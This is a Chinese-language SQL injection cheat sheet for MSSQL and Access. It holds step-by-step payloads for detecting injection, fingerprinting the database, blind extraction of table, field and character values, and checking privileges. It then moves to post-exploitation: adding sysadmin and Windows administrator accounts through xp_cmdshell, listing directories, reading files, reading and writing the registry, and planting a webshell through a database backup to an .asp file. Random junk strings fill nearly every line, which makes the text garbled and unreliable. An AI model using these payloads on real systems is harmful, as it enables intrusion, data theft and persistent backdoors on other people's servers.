1.判断是否有注入;and 1=1 ;and 1=2 PQ&Q71
2.初步判断是否是mssql ;and user>0 LA;V}%y?
~^%0V<*-}
3.注入参数是字符'and [查询条件] and ''=' 2iR:*}5
[aWDD[#j~
4.搜索时没过滤参数的'and [查询条件] and '%25'=' 5&-j{J0iV
T[4[/n>i
5.判断数据库系统 Q/3tg
*_{l
;and (select count(*) from sysobjects)>0 mssql 5v!DYx
"BLv4s|y7L
;and (select count(*) from msysobjects)>0 access "%}Gy>;
N[a ljC-R
Gdf1+mi
[DotS\p!z
6.猜数据库 ;and (select Count(*) from [数据库名])>0 u>t|X}JH
s}[A4`EWH
7.猜字段 ;and (select Count(字段名) from 数据库名)>0 ;o_V!<$
43{_Y]
8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 s0\f9D
n{.*El>{
9.(1)猜字段的ascii值(access) W?"2;](
Msv*}^>
;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 /jZaU`
1Es*=zg
(2)猜字段的ascii值(mssql) Y0Hq+7x
C>Omng1>^
;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 ^&`sWO@=
Mz/]D J8
10.测试权限结构(mssql) +gbX}jF0%
)p/=u@8_f
3WO#^}t
B@"SOX
;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- k W<Yda<a
pB g|n=^
;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- b"R, p=M
wO2V%v^bp
;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- ,c,Xd
l50|`
6t
;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- 08Pt(kzNA
,Lt~u_ lve
;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- RjR&D?dc
C@TN5?Z
;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- {[M0y*^64$
[)Z'N/;0
;and 1=(select IS_MEMBER('db_owner'));-- '!j #X_;
.%x"t>]
?qd,>
QMXD9H0{
11.添加mssql和系统的帐户 L;1$xI8tx
H4PbO/{xO
;exec master.dbo.sp_addlogin username;-- toS(UM n
;exec master.dbo.sp_password null,username,password;-- Q vv\+Jp^
p3M#XC_H]
;exec master.dbo.sp_addsrvrolemember sysadmin username;-- @9}),hl`
zdxT35h
;exec master.dbo.xp_cmdshell 'net user username password a,/M'^YyN
w?]ZU-
/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';-- bx hP jAL
B`?N,N"
;exec master.dbo.xp_cmdshell 'net user username password /add';-- Af2=qe
Fb<n0[m
;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- ]&Y#)ebs
7=7!| UV
Hv8SYQ|
,s1&O`
12.(1)遍历目录 $$haVY&
Yw$a{5g
;create table dirs(paths varchar(100), id int) |?OdV<5C
fH{9]TU_:
;insert dirs exec master.dbo.xp_dirtree 'c:\' Zi 2o
|A ;o0pL
;and (select top 1 paths from dirs)>0 OOEV-=
v-P8WFjca
;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) ;]2x
|ZvNH ~!
Uj4Lu
<Vz<{W3t
(2)遍历目录 i0k+l
hnp`s%e,
;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- XXa(305
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 eq^TA1>T
vS7/ ~:C
;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 C>*5=p|T
*ZGX-+{
;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 N=OS\pz
)>(L{y|uYX
;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 gKmX^A5<
-Qg
2qN2{
|0tg:\.
./5jx2V
13.mssql中的存储过程 7m@
)Lv
Ihdu1]~R{
xp_regenumvalues 注册表根键, 子键 V -q%r
E|pk.
;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 VLf
g[*k
Q Oz9\,C
xp_regread 根键,子键,键值名 6exRS]BI
DZ^=*.
;exec xp_regread C@*%AY
` *>V6B3
'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 7SBM^r}
g(mxhD!k
xp_regwrite 根键,子键, 值名, 值类型, 值 D`~JbKV5@^
d!`lsh@tF
值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型 ~_'0]P\
Y.q>EUSH
;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表 o[o:A|n
>R( 8/#|E
xp_regdeletevalue 根键,子键,值名 \M7I&~V
{I`B[,*
exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值 Xc\*9XV:
BR;QY1
xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 %moJF1
pJd 0k"{
\;-qdV_JB
;SfNKu
14.mssql的backup创建webshell c\M#5+ 1j
6^Ph '
use model 'g]hmE
IQT cYl
create table cmd(str image); 3=Z<wD s
;P3>>DZ
insert into cmd(str) values (''); 2-~a
P
wDDx j
backup database model to disk='c:\l.asp'; x;Gz6|
+L0J_.5%^
8)sg_JC
NjbwGcH%\
15.mssql内置函数 t)ld<9)eB
!(Q l)C
;and (select @@version)>0 获得Windows的版本号 nB=0T`vQ
NUMi])HkN
;and user_name()='dbo' 判断当前系统的连接用户是不是sa 3@G;'|z
WE")xhV6
;and (select user_name())>0 爆当前系统的连接用户 F<5nGx cC
"9qp"%
;and (select db_name())>0 得到当前连接的数据库 ):krJ+-/y
JX{KYU
1 o|T
X:_<Y_JT
16.简洁的webshell N<(HPE};
s|Zx(.EP
use model 8zZSp
^;zWWg/d
create table cmd(str image); [G a~%m
&eIGF1ws
insert into cmd(str) values (''); m=QCG)s
,>u=gA&}
backup database model to disk='g:\wwwtest\l.asp';